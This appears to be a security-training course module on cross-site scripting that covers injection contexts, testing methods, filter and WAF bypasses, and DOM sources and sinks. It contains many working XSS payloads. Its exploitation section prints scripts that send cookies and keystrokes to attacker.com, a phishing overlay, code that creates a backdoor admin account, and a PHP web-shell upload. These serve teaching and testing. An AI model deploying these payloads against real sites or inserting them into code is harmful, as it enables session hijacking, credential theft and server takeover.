Opening Framing: The Client-Side Attack
Cross-Site Scripting (XSS) is fundamentally different from server-side attacks like SQL injection. Instead of attacking the application directly, you inject code that executes in other users' browsers. The victim's browser becomes your execution environment.
XSS enables session hijacking, credential theft, keylogging, phishing, and malware distribution. A single XSS vulnerability can compromise every user who visits a page. In applications with administrative interfaces, XSS can escalate to full application compromise.
This week takes you beyond basic XSS to advanced techniques— filter bypasses, DOM-based attacks, exploitation chains, and the creative approaches that find XSS where others miss it.
Key insight: XSS attacks users, not servers. The impact scales with the number of users who encounter your payload.
1) XSS Types and Context
Understanding where and how XSS executes:
XSS Types:
Reflected XSS:
- Payload in request
- Reflected in immediate response
- Requires victim to click link
- Non-persistent
Stored XSS:
- Payload saved to database
- Displayed to all users
- Persistent, wider impact
- More valuable finding
DOM-based XSS:
- Payload processed client-side
- Never sent to server
- JavaScript reads/writes DOM unsafely
- Harder to detect server-side
Injection Contexts:
HTML Context:
<div>USER_INPUT</div>
Payload: <script>alert(1)</script>
Attribute Context:
<input value="USER_INPUT">
Payload: " onfocus=alert(1) autofocus="
JavaScript Context:
<script>var x = 'USER_INPUT';</script>
Payload: ';alert(1)//
URL Context:
<a href="USER_INPUT">
Payload: javascript:alert(1)
CSS Context:
<style>.class { color: USER_INPUT }</style>
Payload: red;}</style><script>alert(1)</script>
Each context requires different payloads!
Identifying Context:
# Submit unique string and find where it appears
Test string: xss12345test
Search response for: xss12345test
Found in:
<div>xss12345test</div> → HTML context
<input value="xss12345test"> → Attribute context
<script>var x='xss12345test'</script> → JS context
<a href="xss12345test"> → URL context
# Then craft payload for that context
# Multiple contexts may exist
# Test each one separately
Key insight: Successful XSS requires understanding the context. The same payload won't work everywhere.
2) XSS Detection and Testing
Systematically finding XSS vulnerabilities:
Testing Methodology:
1. Identify all input points
- URL parameters
- POST data
- Headers (User-Agent, Referer)
- Cookies
2. Submit test string
- Unique identifier
- See where it reflects
3. Determine context
- HTML, attribute, JS, etc.
4. Test context-appropriate payloads
5. Check for encoding/filtering
6. Develop bypass if needed
Basic Test Payloads:
# HTML context
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# Attribute context (break out)
"><script>alert(1)</script>
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
# JavaScript context (break out)
';</script><script>alert(1)</script>
';alert(1)//
\';alert(1)//
# URL context
javascript:alert(1)
data:text/html,<script>alert(1)</script>
# Event handlers (no script tags)
<body onload=alert(1)>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
Testing with Burp Suite:
# Manual testing workflow:
1. Capture request with parameter
2. Send to Repeater
3. Modify parameter with test payload
4. Examine response for:
- Unencoded reflection
- Script execution
- Event handler triggers
# Intruder for fuzzing:
1. Mark injection point
2. Load XSS payload list
/usr/share/seclists/Fuzzing/XSS/
3. Grep for indicators:
- alert(
- onerror=
- <script
# Check response length changes
# Different lengths may indicate filtering
Useful Polyglots:
# Polyglots work in multiple contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'"><img src=x onerror=alert(1)//>
</script><script>alert(1)</script>
"'><script>alert(1)</script>
# Try polyglots first for quick detection
# Then refine payload for specific context
Key insight: XSS testing is about finding where input reflects and how it's processed. Systematic testing finds what quick scans miss.
3) Filter Bypass Techniques
Evading XSS protections:
Common Filters:
1. Blacklist keywords (script, alert, onerror)
2. HTML entity encoding
3. Tag stripping
4. Attribute removal
5. WAF rules
Bypass approaches:
- Alternative tags/events
- Encoding tricks
- Case manipulation
- Breaking filter patterns
Tag and Event Alternatives:
# If <script> is blocked:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<object data="javascript:alert(1)">
<iframe src="javascript:alert(1)">
<embed src="javascript:alert(1)">
# Less common events:
onanimationend, onanimationstart
ontransitionend
onpointerover, onpointerenter
onfocusin, onfocusout
onbeforeinput
Case and Spacing Tricks:
# Case variation
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
# Null bytes and whitespace
<script%00>alert(1)</script>
<scr%00ipt>alert(1)</script>
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)> (tab)
<img%0asrc=x%0aonerror=alert(1)> (newline)
# Concatenation (JS context)
'al'+'ert(1)'
eval('al'+'ert(1)')
window['al'+'ert'](1)
# No parentheses
<img src=x onerror=alert`1`>
<script>alert`1`</script>
<svg/onload=alert(1)>
Encoding Bypasses:
# HTML entity encoding
<img src=x onerror=alert(1)>
# a = 'a', spells 'alert'
# Hex encoding
<img src=x onerror=alert(1)>
# URL encoding in href
<a href="javascript:%61%6c%65%72%74(1)">
# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E
# %25 = %, so %253C = %3C = <
# Unicode encoding
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
# Mixed encoding
<img src=x on\u0065rror=alert(1)>
Filter Logic Exploitation:
# If filter removes <script> once:
<scr<script>ipt>alert(1)</scr</script>ipt>
# After removal: <script>alert(1)</script>
# If filter removes 'javascript:' once:
jajavascript:vascript:alert(1)
# After removal: javascript:alert(1)
# Incomplete tag handling:
<script>alert(1) (no closing tag)
<script x>alert(1)</script y> (attributes on close)
# Comment injection:
<script>alert/**/('XSS')</script>
<script>al/**/ert(1)</script>
Key insight: Filters are imperfect. Understanding how they work reveals their weaknesses.
4) DOM-Based XSS
Client-side XSS that never touches the server:
DOM XSS Concept:
Source: Where attacker-controlled data enters
Sink: Where data is used unsafely
Source → JavaScript processing → Sink → XSS
# The payload never goes to server
# Server-side filters don't help
# Must analyze client-side JavaScript
Common Sources:
URL-based sources:
document.URL
document.documentURI
document.location (and .hash, .search, .href)
window.location
window.name
Storage sources:
document.cookie
localStorage
sessionStorage
Message sources:
window.postMessage()
Web Storage events
Input sources:
document.referrer
History API
Dangerous Sinks:
HTML sinks:
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
JavaScript execution sinks:
eval()
Function()
setTimeout() with string
setInterval() with string
setImmediate()
URL sinks:
location =
location.href =
location.assign()
location.replace()
window.open()
jQuery sinks:
$().html()
$().append()
$().prepend()
$().after()
$().before()
Testing DOM XSS:
# Analyze JavaScript code:
1. Search for sinks in JS files
grep -r "innerHTML" *.js
grep -r "document.write" *.js
grep -r "eval(" *.js
2. Trace data flow to sink
- Where does the data come from?
- Is it sanitized?
3. Test with payload in source
# Example vulnerable code:
var search = document.location.hash.substring(1);
document.getElementById('results').innerHTML = search;
# Payload:
https://target.com/page#<img src=x onerror=alert(1)>
# DOM Invader (Burp extension)
# Automatically finds DOM XSS
DOM XSS Examples:
# document.write with location.search
var query = location.search.substring(1);
document.write("Search: " + query);
# Payload: ?<script>alert(1)</script>
# innerHTML with hash
var hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;
# Payload: #<img src=x onerror=alert(1)>
# eval with URL parameter
var data = new URLSearchParams(location.search).get('data');
eval(data);
# Payload: ?data=alert(1)
# jQuery html() with user input
var msg = $.urlParam('message');
$('#output').html(msg);
# Payload: ?message=<script>alert(1)</script>
Key insight: DOM XSS requires JavaScript analysis. Traditional server-side testing won't find it.
5) XSS Exploitation
Beyond alert boxes—real attack impact:
Session Hijacking:
# Steal cookies (if not HttpOnly)
<script>
document.location='https://attacker.com/steal?c='+document.cookie
</script>
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
<script>
fetch('https://attacker.com/steal?c='+document.cookie);
</script>
# Even with HttpOnly, can perform actions AS the user
Keylogging:
<script>
document.onkeypress = function(e) {
new Image().src = 'https://attacker.com/log?k=' + e.key;
}
</script>
# More sophisticated:
<script>
var keys = '';
document.onkeypress = function(e) {
keys += e.key;
if(keys.length > 20) {
new Image().src = 'https://attacker.com/log?k=' + encodeURIComponent(keys);
keys = '';
}
}
</script>
Phishing:
# Replace page content
<script>
document.body.innerHTML = '<h1>Session Expired</h1>\
<form action="https://attacker.com/phish" method="POST">\
Username: <input name="user"><br>\
Password: <input name="pass" type="password"><br>\
<input type="submit" value="Login">\
</form>';
</script>
# Overlay login form
<script>
var overlay = document.createElement('div');
overlay.innerHTML = '...phishing form...';
overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999';
document.body.appendChild(overlay);
</script>
Admin Account Creation:
# Use stored XSS to attack admins
# When admin views page with stored XSS:
<script>
// Create new admin user via AJAX
fetch('/admin/users/create', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: 'backdoor',
password: 'attacker123',
role: 'admin'
}),
credentials: 'include' // Send cookies
});
</script>
# Or change admin password
<script>
fetch('/admin/password/change', {
method: 'POST',
body: 'new_password=hacked123',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
credentials: 'include'
});
</script>
XSS to RCE (via Admin):
# If admin panel has file upload or code execution:
<script>
// Upload web shell through admin interface
var formData = new FormData();
formData.append('file', new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'application/x-php'}), 'shell.php');
fetch('/admin/upload', {
method: 'POST',
body: formData,
credentials: 'include'
});
</script>
# XSS → Admin session → File upload → RCE
Key insight: XSS impact is limited only by what JavaScript can do in the victim's authenticated context.
Real-World Context: XSS in Modern Applications
XSS in today's web landscape:
Framework Protections: Modern frameworks (React, Angular, Vue) auto-escape output by default. But developers bypass these protections with dangerouslySetInnerHTML, v-html, or [innerHTML]. These bypasses are prime XSS targets.
CSP Defense: Content Security Policy can block inline scripts. But CSP is often misconfigured or includes unsafe-inline. CSP bypass is an advanced skill.
Bug Bounty Reality: XSS remains one of the most commonly reported vulnerabilities. Basic reflected XSS payouts have decreased, but stored XSS and DOM XSS in sensitive contexts still earn significant rewards.
MITRE ATT&CK Mapping:
- T1059.007 - JavaScript: XSS execution
- T1539 - Steal Web Session Cookie: Session hijacking
- T1056.004 - Web Portal Capture: Keylogging, phishing
Key insight: XSS is evolving. DOM XSS and framework-specific bypasses are the new frontier.
Guided Lab: XSS Exploitation
Master XSS through progressive challenges.